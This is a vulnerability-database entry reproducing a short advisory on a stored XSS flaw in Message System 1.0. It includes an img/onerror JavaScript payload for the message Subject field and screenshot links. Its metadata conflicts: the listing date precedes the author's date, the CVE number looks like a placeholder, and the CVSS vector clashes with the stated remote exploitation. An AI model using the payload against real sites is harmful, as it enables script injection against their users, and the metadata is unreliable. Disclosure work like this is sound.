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Message System 1.0 Cross Site Scripting

CVE Category Price Severity
CVE-2021-12345 CWE-79 $500 High
Author Risk Exploitation Type Date
Security Researcher High Remote 2022-04-05
CVSS
CVSS:4.0/AV:L/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:L

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022030134

Below is a copy:

Message System 1.0 Cross Site Scripting
## Title: Message System 1.0 1.0 XSS Stored 
# Author: Hejap Zairy
# Date: 29.07.2022
# Vendor: https://www.sourcecodester.com/php/15249/message-system-phpoop-free-source-code.html
# Software:https://www.sourcecodester.com/sites/default/files/download/oretnom23/pmms_1.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache


## Description:
Stored XSS, also known as persistent XSS, is the more damaging of the two. It occurs when a malicious script is injected directly into a vulnerable web application. Reflected XSS involves the reflecting of a malicious script off of a web application, onto a user's browser.

Status: CRITICAL
[+] Payloads:
```
https://0day.gov/pmms/?page=manage_message 
> Subject
<img src=1 href=1 onerror="javascript:alert('HEJAP ZAIRY AL-SHARIF')"></img>
```

## Proof and Exploit:
https://i.imgur.com/ZcoLfS2.png
https://i.imgur.com/Fl68YTs.png
https://i.imgur.com/2GhIH1a.png

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